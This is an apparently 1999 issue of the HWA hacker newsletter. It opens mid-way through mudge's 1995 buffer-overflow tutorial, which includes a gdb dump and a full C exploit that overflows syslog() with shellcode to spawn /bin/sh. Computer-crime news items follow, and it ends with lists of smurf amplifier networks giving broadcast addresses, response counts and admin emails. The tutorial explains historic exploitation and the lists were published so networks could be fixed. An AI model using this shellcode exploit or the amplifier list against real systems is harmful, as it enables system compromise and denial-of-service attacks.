0xc73c : movl %esp,%ebp
0xc73e : xorl %eax,%eax
0xc740 : jmp 0xc76b
0xc742 : popl %esi
0xc743 : popl %ecx
0xc744 : movl $0xc770,0xfffffff5(%ebp)
0xc74b : movl $0x0,0xfffffffc(%ebp)
0xc752 : pushl $0x0
0xc754 : leal 0xfffffffc(%ebp),%eax
0xc757 : pushl %eax
0xc758 : pushl $0xc773
0xc75d : leal 0x3b,%eax
0xc763 : pushl %ecx
0xc764 : lcall 0x7,0x0
0xc76b : call 0xc742
0xc770 : jae 0xc7da
0xc772 : addb %ch,(%edi)
0xc774 : boundl 0x6e(%ecx),%ebp
0xc777 : das
0xc778 : jae 0xc7e2
0xc77a : addb %al,(%eax)
0xc77c : addb %al,(%eax)
0xc77e : addb %al,(%eax)
End of assembler dump.
Look for the last instruction in your code. In this case it was the 'call' to right
after the 'jmp' near the beginning. Our data should be right after it and indeed
we see that it is.
(gdb) x/13bc 0xc770
0xc770 : 115 's' 104 'h' 0 '\000' 47 '/'
98 'b' 105 'i' 110 'n' 47 '/'
0xc778 : 115 's' 104 'h' 0 '\000' 0 '\000' 0 '\000'
Now go back into your code and put the appropriate addresses in the movl and
pushl. At this point you should also be able to put in the appropriate operands
for the jmp and call. Congrats... you are done. Here's what the output will look
like when you run this on a system with the non patched libc/syslog bug.
bash$ buf
$ exit (do whatever here... you spawned a shell!!!!!! yay!)
bash$
Here's my original program with lot's of comments:
/*****************************************************************/
/* For BSDI running on Intel architecture -mudge, 10/19/95 */
/* by following the above document you should be able to write */
/* buffer overflows for other OS's on other architectures now */
/* mudge@l0pht.com */
/* */
/* note: I haven't cleaned this up yet... it could be much nicer */
/*****************************************************************/
#include
char buffer[4028];
void main () {
int i;
for(i=0; i<2024; i++)
buffer[i]=0x90;
/* should set eip to 0xc73c */
buffer[2024]=0x3c;
buffer[2025]=0xc7;
buffer[2026]=0x00;
buffer[2027]=0x00;
i=2028;
/* begin actuall program */
buffer[i++]=0x89; /* movl %esp, %ebp */
buffer[i++]=0xe5;
buffer[i++]=0x33; /* xorl %eax,%eax */
buffer[i++]=0xc0;
buffer[i++]=0xeb; /* jmp ahead */
buffer[i++]=0x29;
buffer[i++]=0x5e; /* popl %esi */
buffer[i++]=0x59; /* popl %ecx */
buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */
buffer[i++]=0x45;
buffer[i++]=0xf5;
buffer[i++]=0x70;
buffer[i++]=0xc7;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */
buffer[i++]=0x45;
buffer[i++]=0xfc;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x6a; /* pushl $0x0 */
buffer[i++]=0x00;
#ifdef z_out
buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */
buffer[i++]=0x45;
buffer[i++]=0xf8;
#endif
/* the above is what the disassembly of execute does... but we only
want to push /bin/sh to be executed... it looks like this leal
puts into eax the address where the arguments are going to be
passed. By pointing to 0xfffffffc(%ebp) we point to a null
and don't care about the args... could probably just load up
the first section movl $0x0,0xfffffff8(%ebp) with a null and
left this part the way it want's to be */
buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */
buffer[i++]=0x45;
buffer[i++]=0xfc;
buffer[i++]=0x50; /* pushl %eax */
buffer[i++]=0x68; /* pushl $0xc773 */
buffer[i++]=0x73;
buffer[i++]=0xc7;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x8d; /* lea 0x3b,%eax */
buffer[i++]=0x05;
buffer[i++]=0x3b;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x51; /* pushl %ecx */
buffer[i++]=0x9a; /* lcall 0x7,0x0 */
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x00;
buffer[i++]=0x07;
buffer[i++]=0x00;
buffer[i++]=0xe8; /* call back to ??? */
buffer[i++]=0xd2;
buffer[i++]=0xff;
buffer[i++]=0xff;
buffer[i++]=0xff;
buffer[i++]='s';
buffer[i++]='h';
buffer[i++]=0x00;
buffer[i++]='/';
buffer[i++]='b';
buffer[i++]='i';
buffer[i++]='n';
buffer[i++]='/';
buffer[i++]='s';
buffer[i++]='h';
buffer[i++]=0x00;
buffer[i++]=0x00;
syslog(LOG_ERR, buffer);
}
Copyright 1995, 1996 LHI Technologies, All Rights Reserved
@HWA
26.0 Palm Pilot Used In Credit Card Theft
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Arik
A Bloomingdale's cashier has been charged with criminal
possession of forgery devices, unlawful duplication of
computer data, criminal possession of computer material
and criminal possession of stolen property, all of which
are felonies. The charges came after 26 year old Tania
Ventura used a magnetic stripe reader attached to a
Palm Pilot to record the credit card information of
customers at the store. (Why go to all the trouble of
using a Palm Pilot when a pen and paper would be so
much easier and would allow the copying of the
information when the customer was not around to
catch you. The only reason this made news was
because a Palm Pilot was involved.)
Washington Post
http://www.washingtonpost.com/wp-srv/aponline/19991124/aponline102449_000.htm
CNN
http://www.cnn.com/TECH/ptech/9911/24/creditcardscam.ap/index.html
Washington Post;
Alleged NYC Credit Card Scam Foiled
By Donna De La Cruz
Associated Press Writer
Wednesday, Nov. 24, 1999; 10:24 a.m. EST
NEW YORK A sharp-eyed tourist from Greece buying sunglasses at
Bloomingdale's foiled an alleged credit card scam that may have affected a
large number of shoppers.
Police Commissioner Howard Safir said Tuesday an investigation is
continuing to determine how many credit card numbers are stored on a
Palm Pilot a hand-held electronic organizer that is believed to belong
to Tania Ventura, a 26-year-old cashier at the swank East Side
department store.
The scam was discovered Monday when the tourist, a financial analyst
whose name was not released, noticed his card was swiped twice when
he purchased sunglasses.
"He asked what this was about, and he did not get a sufficient explanation,
so he complained to the manager, and the manager then called us," Safir
said.
After swiping a credit card through the store's credit card device, Ventura
allegedly swiped it a second time through a credit card scanner attached
to her Palm Pilot, Safir said.
"This device is capable of storing thousands of credit card numbers, and
obviously, this individual was involved in stealing people's credit card
numbers to sell or use for fraudulent purposes," Safir said.
Ventura was charged with criminal possession of forgery devices, unlawful
duplication of computer data, criminal possession of computer material
and criminal possession of stolen property all felony charges. She could
face up to seven years in prison if convicted.
Safir urged shoppers never to let credit cards out of their sight once they
give on to a cashier. This is the first time police have seen the practice in
New York City, Safir added.
Bloomingdale's spokeswoman Bonnie Brownlee said the company is
cooperating fully with the police. She declined to comment further because
the case is pending in court.
© Copyright 1999 The Associated Press
CNN;
Cashier uses Palm Pilot in
credit card scam
November 24, 1999
Web posted at: 11:34 AM EST (1634 GMT)
NEW YORK (AP) -- A sharp-eyed tourist from Greece buying sunglasses
at Bloomingdale's foiled an alleged credit card scam that may have affected
a large number of shoppers.
Police Commissioner Howard Safir said Tuesday an investigation is
continuing to determine how many credit card numbers are stored on a Palm
Pilot that is believed to belong to Tania Ventura, a 26-year-old cashier at the
swank Manhattan department store.
The scam was discovered Monday when the tourist, a financial analyst
whose name was not released, noticed his card was swiped twice when he
purchased sunglasses.
"He asked what this was about, and he did not get a sufficient explanation,
so he complained to the manager, and the manager then called us," Safir
said.
After swiping a credit card through the store's credit card device, Ventura
allegedly swiped it a second time through a credit card scanner attached to
her Palm Pilot, Safir said.
"This device is capable of storing thousands of credit card numbers, and
obviously, this individual was involved in stealing people's credit card
numbers to sell or use for fraudulent purposes," Safir said.
Ventura was charged with criminal possession of forgery devices, unlawful
duplication of computer data, criminal possession of computer material and
criminal possession of stolen property -- all felony charges. She could face
up to seven years in prison if convicted.
Safir urged shoppers never to let credit cards out of their sight once they
give on to a cashier. This is the first time police have seen the practice in
New York City, Safir added.
Bloomingdale's spokeswoman Bonnie Brownlee said the company is
cooperating fully with the police. She declined to comment further because
the case is pending in court.
@HWA
27.0 Zero Knowledge on 60 Minutes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by dov
Austin Hill, president of Internet privacy company
Zero-Knowledge Systems, will be one of several experts
talking to '60 Minutes' correspondent Lesley Stahl about
the privacy implications of online profiling and data
collection, and the scrutiny Internet users
unintentionally open themselves to when going online.
The show is scheduled to air Sunday, November 28,
1999. 7:00 PM ET/PT.
Zero Knowledge Systems
http://www.zeroknowledge.com/clickthrough/click.asp?partner_id=542
@HWA
28.0 HotMa
il Fingers Bomber
~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
The FBI was able to arrest George Rocha of Greensboro
North Carolina after he accessed his HotMail account
from his home. He has been accused of planting bombs
and extorting money from Lowe's Home Improvement
stores. Five people where hurt in the bombings, one of
them seriously. (When will people learn, Hotmail is not
anonymous.)
The Charlotte Observer
http://www.charlotte.com/click/wiretech/pub/lowes.htm
Posted at 10:19 a.m. EST Monday, November 22, 1999
Alleged bomber was tracked
through e-mail account
GREENSBORO (AP) -- The suspect accused of planting bombs and extorting
money from Lowe's Home Improvement stores was tracked to his Greensboro
home by his use of an Internet e-mail account, according to an FBI affidavit.
Investigators say George Rocha slipped up when he accessed an e-mail account
he had created with a fictitious name with his home computer instead of using
public computers at libraries, his normal practice.
Federal agents arrested Rocha, 51, on Nov. 12 and charged him with bombing
Lowe's stores in Asheboro and Salisbury and planting a third bomb at a Concord
store. Five people were hurt, one of them seriously.
The FBI's Computer Crime Unit in Charlotte, one of only eight in the country,
followed a trail of e-mail messages that led to the Baltic country of Latvia, where
a bank account was opened and received the $250,000 Lowe's paid to stop the
bombings.
Chris Swecker, FBI special agent in charge for North Carolina, said an FBI agent
stationed in the nearby country of Estonia was in contact with the Paritate Bank
in Riga, Latvia, "minutes after the money transfer." The agent determined that the
signature on the account was listed as Bruce J. Phillips, a name the FBI soon
found to be fictitious.
The FBI saw an e-mail the bank received from "Bruce Phillips" on Nov. 1 that
used the e-mail address "brucephillips99hotmail.com"
Hotmail is a free Internet mail service used by many people, especially people
who travel a lot, said Greensboro detective Mark Steed, whose job includes
investigating computer crimes. Anyone can establish an account with Hotmail in
minutes, using a fictitious name and other fictitious information, Steed said.
"It's a legitimate service, yes, but it's also used by some people for purposes that
are not legitimate," he said.
Knowing the name "Bruce Phillips" and the corresponding e-mail address was a
major break for the FBI. Working from Hotmail's records, agents discovered that
the fictitious account had been used at a public computer at the Greensboro
Public Library and computers in Forsyth County and BellSouth.net Inc.
Greensboro Public Library director Sandy Neerman said FBI agents served her
with a court order to produce files showing who had used the library's public
computers during the dates corresponding to the e-mail transfers using the
account. Library patrons have to sign up on a list to use the library computer.
Tracking Rocha to those computers would have been difficult, Swecker
acknowledged, but using his home computer to access the Hotmail account
made the FBI's job easier.
Caller identification at BellSouth identified a telephone number listed as belonging
to George Rocha, 4246 Princeton Ave., Greensboro.
AP-ES-11-22-99 0039EST
@HWA
29.0 County Clerks Delete Arrest Warrants
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
Three county clerks, in Dade County Florida, face
computer tampering charges for allegedly tapping into
courthouse computers to erase arrest warrants. All
three clerks where long time employees at the
courthouse.
Miami Sun-Sentinel
http://www.sun-sentinel.com/news/daily/detail/0,1136,24500000000135545,00.html
Police: Clerks erased arrest warrants from
Miami-Dade courthouse computers
Associated Press
Web-posted: 8:20 a.m. Nov. 23, 1999
MIAMI -- Three county clerks face computer tampering
charges for allegedly tapping into courthouse computers to
erase arrest warrants.
Miami-Dade Police public corruption detectives on
Monday arrested Salome C. Rodriguez, Patricia Speights and
Elsie Darbouze-Jones.
"These were employees entrusted with access to the
computer system," said Miami-Dade Police spokesman Juan
DelCastillo. "This is simple. It isn't for money; it's for their
own personal benefit."
Police said Rodriguez, 32, an eight-year county
employee, allegedly logged into the computer at her Coral
Gables Courthouse workplace to delete a warrant for her
arrest. Her legal troubles stemmed from a traffic ticket for
no car insurance. Her license was suspended and a warrant
was issued when she didn't pay the ticket.
Rodriguez was charged with five counts of official
misconduct because each time she missed a court
appearance, she'd do it again, DelCastillo said.
She is also accused of erasing an arrest warrant for a
man who did not pay a ticket received for failure to yield.
Police believe the man is her father.
Speights, 41, and Darbouze-Jones, 27, are accused of
doing the same thing at another courthouse.
Supervisors told police Darbouze-Jones got Speights to
erase a pending warrant against Darbouze-Jones' husband,
who had five unpaid traffic tickets.
Speights and Darbouze-Jones received 11 felony counts
-- one for each time they tampered with a ticket.
All three clerks were fired, but Speights got her job
back -- with a demotion.
Speights and Darbouze-Jones were still in jail Monday.
@HWA
30.0 Trojan Advertising?
~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Nicole
Advertising banners on web sites and within Freeware
applications such as PKZip can gather information such
as the applications running on a machine, user names,
its IP address, and other network related information
and send that information back to the creator of the
software. The software is produced by US software firm
Conducent to gather computer and network information
by using a stealth application buried within the freeware
program or banner ad. (If this isn't labeled as a Trojan
then I lose all faith in the AV industry)
ZD Net UK
http://www.zdnet.co.uk/news/1999/46/ns-11692.html
Conducent
http://www.conducent.com/
ZDNET;
Banner 'bug' sucks data through the Web
Wed, 24 Nov 1999 11:38:33 GMT
Will Knight
Data about apps, IP address and the network are uncovered
by banner 'bugs'
Advertising banners produced by US software firm Conducent
gather computer and network information by using a stealth
application buried within the freeware program according to
security newsletter, The Risk Digest.
Bill Royds, contributor to the Digest, discovered that the
advertising application provided by Conducent for freeWare
Windows applications such as PKZIP collects details about a
user's computer and sends it back to Conducent's headquarters
when a computer is connected to the Internet.
Royds says the information includes data on the applications
running on a machine, as well as its IP address and information
about the network it is connected to.
As an example, Royds says PKZIP gathers network IP addresses
as well as information on NetBIOS. He claims it can also gather
user names. Royds points out that that this could potentially
compromise security by revealing IP network status information.
"This is very similar to the Trojan horses that worry people so
much. If someone was able to intercept these transmissions they
could determine internal network and personal information about a
user. Many users would not install these programs if they realised
the nature of how the advertising works."
Royds did intercept that IP information and forwarded it to ZDNet
UK News.
Conducent says there is nothing to worry about. A spokeswoman
for Conducent says computer users are always made aware of the
personal information they are providing before installation and
claims Conducent does little more than gather IP addresses. "All
the Conducent freeware is duly noted as such when installation
occurs. It is up to the user to take the time to read the installation
notes wherein the advertising-supported version of the software is
explained comprehensively."
The speokeswoman criticises Royd's concerns as excessive.
"Calling Conducent technology a Trojan, or a virus, assumes we're
sending files -- or extracting information -- without the user's
permission. We are not forcing free, ad-supported software on
users. They are choosing to download it of their own volition, and
as they so, information about their selection is contained in the
installation notes."
According to Robin Bynoe of Charles Russell solicitors, gathering
IP addresses as well as user names may well contravene European
data protection regulations as Royd notes. However Conducent
distributes software via the Internet and has no offices in the UK
meaning that if a British customer had a complaint there would be
little chance recourse. Says Bynoe, "If they are located in the US
and are holding information in the US this comes outside the scope
of UK law. If they are simply collecting a bank of IP adresses, this
may not be a breach of the data protection act."
@HWA
31.0 English ISP Mistakenly Gives Out Free Access
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Previously reported as a BT freephone gimmick by the ISP it turns
out to be an error and free access was not the intention for any
reason (whups) - Ed
From HNN http://www.hackernews.com/
contributed by no0ne
A security breach gave an unknown number of users
access to the net via City Connection's free fone
number. City Connection's, a fairly new ISP in England,
0800 number was published on several newsgroups and
has finally been shut down. The identity of the person
who leaked the number is still unknown.
The UK Register
http://www.theregister.co.uk/991124-000010.html
Posted 24/11/99 2:52pm by Tim Richardson
Net user leap on leaked ISP freefone number
An undisclosed number of Net users managed to gain unauthorised freephone
access to the Net last night following the leak of confidential information yesterday.
Although not the most auspicious start to a new venture, Tom Defty, MD of new kid on
the block ISP City Connections, said that last night's assault only cost the company
just £254.
The 0800 number -- published on a variety of newsgroups yesterday -- has now been
shut down, he said, and he denied that the whole episode was a stunt to seek publicity
for the service.
In a statement Defty said: "I am deeply disappointed by this breach of security... but I
can assure you that the service will still be launching on 1 December."
At this stage there's still some confusion surrounding the identity of the person who
originally leaked the 0800 freephone number. Defty said that BT Security told him it
originated from someone with a "BT Corporate account".
But a spokesman for BT disputed this. He said he was unaware that the matter had
even been reported and after investigating the matter said that the person who leaked
the material was from outside the company.
That aside, Defty has released information on the new ISP and what it will offer. It
seems London-based Easynet will provide the backbone to the service and instead of
using 0845 or 0800 numbers to access City Connections, the ISP will employ 150 '01'
numbers across the country instead.
Using phone companies such as NTL, Telewest, C&W, Transnet and Euphony, Defty
claims this will allow users to be eligible for 'free-call access' during off-peak periods.
"The service will cost £11.75 per month," said Defty. "But if you have a banner
(optional) at the bottom of your screen you will receive £10 back per month," he said.
The ISP has also embarked on a multi-million TV and radio advertising campaign to
advertise the service, Defty said. ®
@HWA
32.0 SAR Top Ten Smurf Amplifiers for Nov 27th'99
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This used to be a regular feature sorry i've been lagging behind in my duties
i've rooted my box and slapped my wrists already tnx - Ed
Current top ten smurf amplifiers (updated every 5 minutes)
(last update: 1999-11-28 00:26:05 CET)
Network #Dups #Incidents Registered at Home AS
212.117.160.0/24 373 0 1999-10-27 22:28 not-analyzed
195.115.119.64/26 327 0 1999-11-19 20:08 not-analyzed
209.233.219.0/24 90 0 1999-06-04 17:56 AS5673
194.70.7.0/24 84 0 1999-11-09 11:22 not-analyzed
132.230.75.0/24 83 0 1999-11-01 00:49 not-analyzed
192.0.0.0/2 73 0 1999-01-04 06:39 not-analyzed
128.0.0.0/1 73 0 1999-01-28 02:36 not-analyzed
195.210.91.0/24 72 0 1999-01-20 00:44 AS1267
128.0.0.0/33 71 0 1998-09-25 18:18 not-analyzed
128.0.0.0/225 71 0 1999-02-10 22:16 not-analyzed
114951 networks have been probed with the SAR
20049 of them are currently broken
14173 have been fixed after being listed here
Netscan.org
Top 2048 worst amplifier offenders.
Note that it's also possible to see the # of replies for any network. Head to the main page
and punch in an IP.
Last rescan: Fri Oct 22 14:33:26 PDT 1999
RESP ADDR EMAIL ADDRESSES
---------------------------------------------------------------------
2697 207.22.212.255 ipadmin@iamerica.net
448 204.243.120.255 hostinfo@psi.com
261 199.225.7.0 lind@forum.saic.com
250 199.1.223.255 quentin@qns.com
247 207.43.61.255 pflores@wcg.net
242 207.142.180.255 root@unix.triton.net
240 167.192.222.255 jda51@state.ga.us
155 207.204.52.0 rwarren@netusa.net
148 209.84.85.255 ipadmin@gte.net
132 205.169.216.0 postmaster@garfield.k12.co.us
125 199.250.180.255 dnstech@eni.net
123 209.115.108.255 tstroup@fnsi.net
122 207.202.127.255 noc@corp.idt.net
122 207.235.88.255 rickyc@world-net.net
122 209.246.218.255 ipadmin@level3.net
120 195.184.38.255 hein@euroconnect.net
117 205.169.211.0 postmaster@garfield.k12.co.us
114 199.251.102.255 lind@forum.saic.com
112 205.154.156.255 nes@4c.net
107 205.221.196.255 hikep@urbandale.k12.ia.us
106 205.221.196.0 hikep@urbandale.k12.ia.us
105 207.177.41.0 noc@netins.net
105 207.177.41.255 noc@netins.net
104 207.127.47.255 gorlo@enet.com
102 205.221.198.0 hikep@urbandale.k12.ia.us
102 205.221.198.255 hikep@urbandale.k12.ia.us
102 205.221.199.0 hikep@urbandale.k12.ia.us
101 205.221.199.255 hikep@urbandale.k12.ia.us
100 207.127.47.0 gorlo@enet.com
98 208.0.211.255 NOC@sprint.net
97 205.154.156.0 nes@4c.net
92 216.14.26.255 john@telepath.com
90 209.37.134.255 breig@buffnews.com
86 209.20.39.255 netadmin@interlog.net
82 209.140.163.0 darin@good.net
80 200.29.38.0 aaraya@novared.cl
79 200.29.38.255 aaraya@novared.cl
74 209.140.163.255 darin@good.net
72 209.37.134.0 breig@buffnews.com
71 193.48.166.0 Michel.Leduc@univ-lehavre.fr,
Serge.Huberson@univ-lehavre.fr
71 205.169.214.0 postmaster@garfield.k12.co.us
70 207.165.185.0 dave.klinkefus@icn.state.ia.us
68 207.28.48.255 dave.klinkefus@icn.state.ia.us
68 207.28.48.0 dave.klinkefus@icn.state.ia.us
64 207.230.219.255 network@centurytel.com
62 209.212.162.255 hostmaster@rhythms.net
61 209.152.182.255 domain@slip.net
60 209.106.20.0 ben@more.net
59 167.199.95.0 jda51@state.ga.us
58 216.20.92.0 jcoco@mec.edu
57 204.48.169.0 tuma@ceo.sbceo.k12.ca.us
57 205.253.196.255 karl@mcs.com
57 209.73.88.255 hostmaster@digilink.net
57 209.17.207.255 dns@america.net
56 193.48.166.255 Michel.Leduc@univ-lehavre.fr,
Serge.Huberson@univ-lehavre.fr
56 204.48.142.0 tuma@ceo.sbceo.k12.ca.us
56 209.56.232.0 tdao@aea11.k12.ia.us
56 209.56.232.255 tdao@aea11.k12.ia.us
56 208.129.177.255 nomailbox@nowhere
56 207.194.160.255 domains@bctel.net
54 216.102.167.0 ip-admin@pbi.net
54 207.225.159.255 dns-info@uswest.net
53 198.233.12.0 Don@arapahoe.edu
53 207.213.205.255 andy@ssw1.com
53 207.224.249.0 dlongar@uswest.net
53 207.165.185.255 dave.klinkefus@icn.state.ia.us
53 207.28.60.0 dave.klinkefus@icn.state.ia.us
52 204.48.223.0 tuma@ceo.sbceo.k12.ca.us
52 206.150.74.255 walker@scsn.net
52 207.177.95.0 noc@netins.net
52 207.177.95.255 noc@netins.net
52 209.167.171.255 chris@tntech.com
52 207.28.60.255 dave.klinkefus@icn.state.ia.us
52 210.68.152.255
52 208.202.118.255 jokage@gate.net
51 199.103.248.0 dnsmaster@terra.net
50 199.251.102.0 lind@forum.saic.com
50 208.223.170.255 kambach@brearley.org
50 216.102.245.0
49 209.63.26.255 bradw@tlg.com
48 216.20.20.255 jcoco@mec.edu
48 209.73.236.255 hostmaster@pfmc.net
48 216.101.206.0 ip-admin@pbi.net
47 202.98.5.255 dmkou@publicf.bta.net.cn, yzxu@publicf.bta.net.cn
47 207.152.126.0 Postmaster@popmail.jba.com
47 207.152.126.255 Postmaster@popmail.jba.com
47 209.56.235.0 tdao@aea11.k12.ia.us
46 202.232.119.0 hostmaster@nic.ad.jp
46 202.232.119.255 hostmaster@nic.ad.jp
46 209.21.155.255 hostmaster@harvard.net
46 216.20.20.0 jcoco@mec.edu
46 207.60.165.255 hostmaster@tiac.net
46 206.66.243.0 daniel@webdimensions.com
46 206.66.243.255 daniel@webdimensions.com
46 208.245.231.0 help@uunet.uu.net
45 204.158.26.0 D.Nash@utexas.edu
45 204.158.26.255 D.Nash@utexas.edu
45 209.56.78.0 tdao@aea11.k12.ia.us
44 193.14.29.0
44 198.233.12.255 Don@arapahoe.edu
44 198.64.21.0 hostmaster@sesqui.net
44 198.64.21.255 hostmaster@sesqui.net
44 198.64.22.0 hostmaster@sesqui.net
44 198.64.22.255 hostmaster@sesqui.net
44 208.192.109.255 u09477@serinocoyne.com
43 192.160.217.255 greenup@whittier.edu
43 205.118.50.0 mcleary@uen.org
43 205.118.50.255 mcleary@uen.org
43 207.165.137.0 dave.klinkefus@icn.state.ia.us
43 207.91.84.0 charlie_daneri@jeffersongroup.com
43 207.109.43.0 dns-info@uswest.net
43 207.63.253.0 twilliams@lth6.k12.il.us
43 207.63.254.0 twilliams@lth6.k12.il.us
43 207.63.253.255 twilliams@lth6.k12.il.us
43 207.63.254.255 twilliams@lth6.k12.il.us
42 209.3.130.0 wkrug@atlnet.org
42 209.76.77.0 emorton@shastalink.k12.ca.us
42 209.76.77.255 emorton@shastalink.k12.ca.us
42 209.249.2.0 noc@above.net
42 209.249.2.255 noc@above.net
42 209.55.73.0 jimp@brandx.net
41 198.60.134.0 hall@sandbox.net
41 198.60.134.255 hall@sandbox.net
41 206.0.199.0 hostinfo@psi.com
41 207.213.205.0 andy@ssw1.com
40 192.160.217.0 greenup@whittier.edu
40 192.204.76.255
40 203.95.7.255 zao@stn.sh.cn, sqian@fudan.edu.cn
40 205.143.124.255 rtesta@gia.org
40 207.90.230.255 dnsmaster@infohwy.com
40 207.90.230.0 dnsmaster@infohwy.com
40 207.240.141.255 hostmaster@inch.com
40 207.240.141.0 hostmaster@inch.com
40 209.56.235.255 tdao@aea11.k12.ia.us
39 199.208.243.0 APONTEJ@navstarr.navy.mil
39 199.208.243.255 APONTEJ@navstarr.navy.mil
39 199.73.39.255 hostmaster@clark.net
39 203.139.106.255 hostmaster@nic.ad.jp
39 205.66.98.0 STEVE.GREUNKE@ncts.navy.mil
39 206.136.58.0 mpc@mbsmm.com
39 207.1.177.0 dspeed@midusa.net
39 210.74.232.0 std-gm@online.sh.cn, std-gm@online.sh.cn
39 208.136.70.0 steven_dudley@brunswick.pvt.k12.ct.us
39 208.136.70.255 steven_dudley@brunswick.pvt.k12.ct.us
38 198.233.47.255 danahay@ghs.gunnison.k12.co.us
38 199.208.84.0
38 204.69.110.0 wong@accesscom.net
38 205.169.212.0 postmaster@garfield.k12.co.us
38 207.100.46.255 hostmaster@icix.net
38 216.111.166.0 noc@qwest.net
38 207.196.81.0 hostmaster@clark.net
38 206.77.203.0 D.Nash@utexas.edu
38 206.77.203.255 D.Nash@utexas.edu
38 209.184.150.0 hostmaster@swbell.net
38 207.15.44.0 nomailbox@nowhere
38 207.15.44.255 nomailbox@nowhere
37 164.47.171.255 Mark.Montanez@pcc.cccoes.edu
37 204.181.85.255 jbuchle@staktek.com
37 204.186.98.255 dns-request@ptd.net
37 205.66.98.255 STEVE.GREUNKE@ncts.navy.mil
37 206.0.199.255 hostinfo@psi.com
37 209.63.86.255 kmiller@mhz.com
37 209.7.135.255 wdahlen@mail.isbe.state.il.us
37 209.113.149.0 dhoyt@hoyt.com
37 208.168.82.255 johnf@banet.net
37 208.130.41.0 steven_dudley@brunswick.pvt.k12.ct.us
37 209.152.31.0 hortonh@ednet10.net
37 209.76.78.0 emorton@shastalink.k12.ca.us
37 209.76.78.255 emorton@shastalink.k12.ca.us
36 24.7.20.255 noc@noc.home.net
36 194.57.84.0 Patrice.Koch@univ-fcomte.fr
36 202.184.229.0
36 202.247.6.0 hostmaster@nic.ad.jp
36 204.170.91.0 ens@home.nrhm.cc.pa.us
36 204.170.91.255 ens@home.nrhm.cc.pa.us
36 205.221.147.0 grpjl@iastate.edu
36 205.221.147.255 grpjl@iastate.edu
36 206.13.101.0 nomailbox@nowhere
36 206.13.101.255 nomailbox@nowhere
36 206.13.99.0 gowen@keyinfo.com
36 206.158.44.255 Allen@afmiller.com
36 210.17.1.0 dengwei@access.ttn.com.tw
36 216.111.167.255 noc@qwest.net
36 208.133.75.0 noc@megsinet.net
36 208.133.76.0 noc@megsinet.net
36 208.133.87.0 noc@megsinet.net
36 208.133.75.255 noc@megsinet.net
36 208.133.76.255 noc@megsinet.net
36 208.207.33.0 noc@bigplanet.net
36 209.80.138.0 tom_plati@wellesley.mec.edu
36 208.157.126.0 rodneyl@ctlnet.com
36 216.103.13.0 ip-admin@pbi.net
36 209.76.22.0 kenny@twnetwork.com
36 207.104.102.0 support@access1.net
36 207.104.103.0 support@access1.net
36 207.104.109.0 nomailbox@nowhere
36 216.100.214.0 sysadmin@access1.net
36 209.76.22.255 kenny@twnetwork.com
36 207.104.102.255 support@access1.net
36 207.104.103.255 support@access1.net
36 207.104.109.255 nomailbox@nowhere
36 216.100.214.255 sysadmin@access1.net
36 209.7.135.0 wdahlen@mail.isbe.state.il.us
36 216.88.175.255 scotts@blairlake.com
36 210.74.232.255 std-gm@online.sh.cn, std-gm@online.sh.cn
36 208.236.180.0 martyr@acr.org
36 209.184.150.255 hostmaster@swbell.net
36 216.94.12.0 kasper@telehub.com
36 209.47.203.0 registrar@uunet.ca
35 195.90.31.255 guardian@isb.net, nerge@isb.net
35 198.233.47.0 danahay@ghs.gunnison.k12.co.us
35 202.102.32.0 dmkou@publicf.bta.net.cn,
pearl.m@public1.ptt.js.cn
35 202.102.32.255 dmkou@publicf.bta.net.cn,
pearl.m@public1.ptt.js.cn
35 207.10.165.0 rcm@mmc.marymt.edu
35 216.88.175.0 scotts@blairlake.com
35 207.10.165.255 rcm@mmc.marymt.edu
35 207.136.233.0 topher@madriver.com
35 209.232.131.0 ip-admin@pbi.net
35 209.232.131.255 ip-admin@pbi.net
35 209.47.228.0 chris@tntech.com
35 208.224.40.255 dsoria@leaco.net
35 207.125.25.0 ip-mgr@mail.state.tn.us
35 209.113.148.0 dhoyt@hoyt.com
35 208.9.33.0 nomailbox@nowhere
35 208.9.41.0 nomailbox@nowhere
35 208.9.33.255 nomailbox@nowhere
35 208.9.43.255 nomailbox@nowhere
34 164.47.171.0 Mark.Montanez@pcc.cccoes.edu
34 202.219.144.0 technical@apnic.net
34 203.26.109.255 hostmaster@telstra.net
34 204.60.81.0 cmiller@snet.net
34 205.178.75.0 dave@brainstorm.net
34 205.213.150.255 nic@mail.wiscnet.net
34 206.166.215.0 mwilliam@ptc.dcs.edu
34 207.177.77.255 noc@netins.net
34 206.205.105.0 noc@digex.net
34 207.163.162.0 hostmaster@alameda-coe.k12.ca.us
34 209.3.130.255 wkrug@atlnet.org
34 210.145.18.255 hostmaster@nic.ad.jp
34 206.99.18.0 dsmith@ns.uoregon.edu
34 206.99.18.255 dsmith@ns.uoregon.edu
34 209.141.228.0 admin@trilobyte.net
34 209.141.229.0 admin@trilobyte.net
34 208.9.43.0 nomailbox@nowhere
34 208.9.41.255 nomailbox@nowhere
33 161.223.163.0
33 195.90.31.0 guardian@isb.net, nerge@isb.net
33 199.72.94.0 hostmaster@interpath.net
33 199.72.95.0 hostmaster@interpath.net
33 199.72.95.255 hostmaster@interpath.net
33 199.72.96.0 hostmaster@interpath.net
33 199.72.96.255 hostmaster@interpath.net
33 199.98.170.255 hostinfo@psi.com
33 204.178.107.255 danny@akamai.com
33 204.178.110.0 danny@akamai.com
33 205.216.169.0 sei@vidpbx.com
